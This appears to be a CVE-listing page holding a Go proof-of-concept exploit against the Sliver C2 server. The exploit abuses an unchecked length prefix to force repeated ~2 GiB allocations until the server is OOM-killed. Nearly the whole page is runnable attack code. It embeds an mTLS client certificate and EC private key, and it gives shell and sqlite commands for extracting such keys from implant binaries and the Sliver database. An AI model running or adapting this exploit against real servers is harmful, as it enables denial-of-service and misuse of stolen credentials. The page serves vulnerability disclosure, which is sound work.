5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mtls_poc.go GO
/*
 * Author: Skove (Anas)
 * Sliver - OOM "Kill-Switch" via Length-Prefix Abuse (CWE-789 / CWE-400)
 * Vulnerability: Uncontrolled Memory Allocation in socketReadEnvelope
 * Impact: Full Process OOM-Kill (SIGKILL) of Sliver Server + potential OS instability
 *
 * Root Cause (server/c2/mtls.go:323-380):
 *   socketReadEnvelope() allocates a buffer up to ServerMaxMessageSize (~2 GiB)
 *   based on an attacker-controlled uint32 length prefix BEFORE verifying the
 *   Ed25519 envelope signature. With yamux concurrency (128 streams), a single
 *   mTLS connection can trigger 128 × 2 GiB = 256 GiB of allocations.
 *
 * This PoC demonstrates how an attacker with a captured implant binary can
 * exhaust all server memory, causing the Linux OOM killer to terminate the
 * sliver-server process (and potentially other processes on the same host).
 *
 * Replace c2Endpoint, clientCertPEM, clientKeyPEM with values from a valid implant.
 *
 * Usage: go run mtls_oom_poc.go
 */

package main

import (
	"crypto/tls"
	"encoding/binary"
	"fmt"
	"log"
	"sync"
	"sync/atomic"
	"time"

	"github.com/hashicorp/yamux"
)

var (
	c2Endpoint = "192.168.1.6:7070"

	// The mTLS certificate and key extracted from a captured implant binary.
	// RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12
	clientCertPEM = []byte(`-----BEGIN CERTIFICATE-----
MIIBpDCCASqgAwIBAgIQGYBIy0Yp2AuqhgBbpqaz5TAKBggqhkjOPQQDAzAAMB4X
DTI1MTAwOTE5NDM0NFoXDTI3MTAwOTE5NDM0NFowITEfMB0GA1UEAwwWQ09OVEVN
UE9SQVJZX1RPTEVSQU5DRTB2MBAGByqGSM49AgEGBSuBBAAiA2IABFhzyVknVtsU
ZT3gpSEZPwA4oTwX6m4PAvISpPv/d+Y28WugFEKf4uaYjgAXWu0pWpOkgrMyw2B5
NbbTsLqshTVNoI5ylEbMdWG6lm/+0Fi07BkqoJ4xyviFbEDhrBAfZKNIMEYwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFChl
jGbs2zREbd70jJCDY5S62hg7MAoGCCqGSM49BAMDA2gAMGUCMEnZUmui+2RIYYxE
ew5/4U2MhJQcGDvbPOEWvQaaaFrraV+0TetaEYaXzf1Y9JuENwIxANl4X+rA98qs
FLrhoittGVxbqdECSozROTDgBCAEVQsE6Djp4sEaX+hliYk6dmXFPA==
-----END CERTIFICATE-----`)

	// RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/'
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
	clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY-----
MIGkAgEBBDDgHrkkmB4p07051bJXphHvLukPElt1YDaSyeGSt0fqBpY1lp/ZAY/c
LHlzbYLeLz6gBwYFK4EEACKhZANiAARYc8lZJ1bbFGU94KUhGT8AOKE8F+puDwLy
EqT7/3fmNvFroBRCn+LmmI4AF1rtKVqTpIKzMsNgeTW207C6rIU1TaCOcpRGzHVh
upZv/tBYtOwZKqCeMcr4hWxA4awQH2Q=
-----END EC PRIVATE KEY-----`)
)

const (
	YamuxPreface = "MUX/1"

	// RawSigSize is the fixed-length Ed25519 signature prepended to each envelope.
	// 2 bytes algorithm + 8 bytes key ID + 64 bytes signature = 74 bytes
	RawSigSize = 74

	// ServerMaxMessageSize from server/c2/mtls.go:55
	// The server accepts any length up to this value BEFORE checking the signature.
	ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1 // 2,147,483,647 bytes (~2 GiB)

	// Number of concurrent yamux streams to open.
	// The server allows up to 128 (mtlsYamuxMaxConcurrentStreams).
	// Each stream triggers a separate ~2 GiB allocation.
	NumStreams = 64 // 64 × 2 GiB = 128 GiB
)

func main() {
	// STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS)
	fmt.Println("[*] Loading extracted Implant certificates...")
	cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM)
	if err != nil {
		log.Fatalf("[-] Failed to load client cert: %v", err)
	}

	tlsConfig := &tls.Config{
		Certificates:       []tls.Certificate{cert},
		InsecureSkipVerify: true,
	}

	fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint)
	conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig)
	if err != nil {
		log.Fatalf("[-] TLS Connection failed: %v", err)
	}
	defer conn.Close()
	fmt.Println("[+] mTLS handshake successful!")

	// STAGE 2: INITIATE YAMUX MULTIPLEXING
	fmt.Println("[*] Sending Yamux preface...")
	if _, err := conn.Write([]byte(YamuxPreface)); err != nil {
		log.Fatalf("[-] Failed to send Yamux preface: %v", err)
	}

	session, err := yamux.Client(conn, nil)
	if err != nil {
		log.Fatalf("[-] Failed to create Yamux session: %v", err)
	}
	defer session.Close()
	fmt.Println("[+] Yamux session established!")

	// STAGE 3: TRIGGER OOM VIA CONCURRENT LENGTH-PREFIX ABUSE
	//
	// Attack flow per stream:
	//   1. Write a fake 74-byte "signature" (all zeros — doesn't matter,
	//      the server reads it but checks it AFTER the allocation)
	//   2. Write a 4-byte little-endian uint32 length prefix = 0x7FFFFFFF
	//      (2,147,483,647 bytes = ~2 GiB)
	//   3. The server calls make([]byte, 2147483647) — ALLOCATION HAPPENS
	//   4. The server then calls io.ReadFull() waiting for ~2 GiB of data
	//   5. We DON'T send any data — the connection just hangs.
	//      The 2 GiB buffer sits allocated in memory.
	//   6. Repeat on N concurrent streams → N × 2 GiB memory consumed.
	//
	// The signature verification (ed25519.Verify) at mtls.go:368 never
	// executes because io.ReadFull at mtls.go:351 blocks forever.
	// The memory is allocated and held indefinitely.
	//

	fmt.Printf("[*] Opening %d concurrent yamux streams...\n", NumStreams)
	fmt.Printf("[*] Each stream will trigger a ~2 GiB allocation on the server\n")
	fmt.Printf("[*] Total target allocation: ~%d GiB\n", NumStreams*2)
	fmt.Println()

	// Fake signature buffer (74 bytes of zeros).
	// Content doesn't matter — the server reads it into rawSigBuf but
	// doesn't validate it until AFTER the giant allocation + io.ReadFull.
	fakeSig := make([]byte, RawSigSize)

	// Length prefix: request the maximum allocation size.
	lengthBuf := make([]byte, 4)
	binary.LittleEndian.PutUint32(lengthBuf, uint32(ServerMaxMessageSize))

	var wg sync.WaitGroup
	var successCount atomic.Int32
	var failCount atomic.Int32

	startTime := time.Now()

	for i := 0; i < NumStreams; i++ {
		wg.Add(1)
		go func(streamNum int) {
			defer wg.Done()

			stream, err := session.Open()
			if err != nil {
				fmt.Printf("  [-] Stream %d: failed to open: %v\n", streamNum, err)
				failCount.Add(1)
				return
			}
			// NOTE: We intentionally do NOT close the stream or defer stream.Close().
			// Keeping the stream open holds the server in io.ReadFull(),
			// which keeps the 2 GiB buffer allocated in memory.

			// Step 1: Send fake signature (74 bytes)
			if _, err := stream.Write(fakeSig); err != nil {
				fmt.Printf("  [-] Stream %d: failed to write sig: %v\n", streamNum, err)
				failCount.Add(1)
				return
			}

			// Step 2: Send length prefix (request ~2 GiB allocation)
			if _, err := stream.Write(lengthBuf); err != nil {
				fmt.Printf("  [-] Stream %d: failed to write length: %v\n", streamNum, err)
				failCount.Add(1)
				return
			}

			// Step 3: DON'T send any data. The server is now:
			//   - Holding a 2 GiB buffer (make([]byte, 2147483647))
			//   - Blocked in io.ReadFull() waiting for data that will never arrive
			//   - The buffer will remain allocated until the stream is closed

			current := successCount.Add(1)
			fmt.Printf("  [+] Stream %d: triggered ~2 GiB allocation (%d/%d active)\n",
				streamNum, current, NumStreams)
		}(i)

		// Small delay between stream opens to avoid overwhelming yamux
		time.Sleep(50 * time.Millisecond)
	}

	wg.Wait()
	elapsed := time.Since(startTime)

	fmt.Println()
	fmt.Println("═══════════════════════════════════════════════════════════════")
	fmt.Printf("[+] Attack complete in %v\n", elapsed.Round(time.Millisecond))
	fmt.Printf("[+] Successful streams: %d\n", successCount.Load())
	fmt.Printf("[+] Failed streams:     %d\n", failCount.Load())
	fmt.Printf("[+] Estimated server memory consumed: ~%d GiB\n", successCount.Load()*2)
	fmt.Println()
	fmt.Println("[*] The server is now holding all allocated buffers in memory.")
	fmt.Println("[*] The Linux OOM killer should terminate the sliver-server process.")
	fmt.Println("[*] Unlike a panic crash, OOM kills leave no clean stack trace.")
	fmt.Println()
	fmt.Println("[*] Check server status: systemctl status sliver")
	fmt.Println("[*] Check OOM logs:      sudo dmesg | grep -i 'killed'")
	fmt.Println("if not, run the poc again")
	fmt.Println("═══════════════════════════════════════════════════════════════")

	// Keep the connection alive to maintain the allocations.
	// The server will be OOM-killed while we wait.
	fmt.Println()
	fmt.Println("[*] Holding connections open... Press Ctrl+C to exit.")
	select {}
}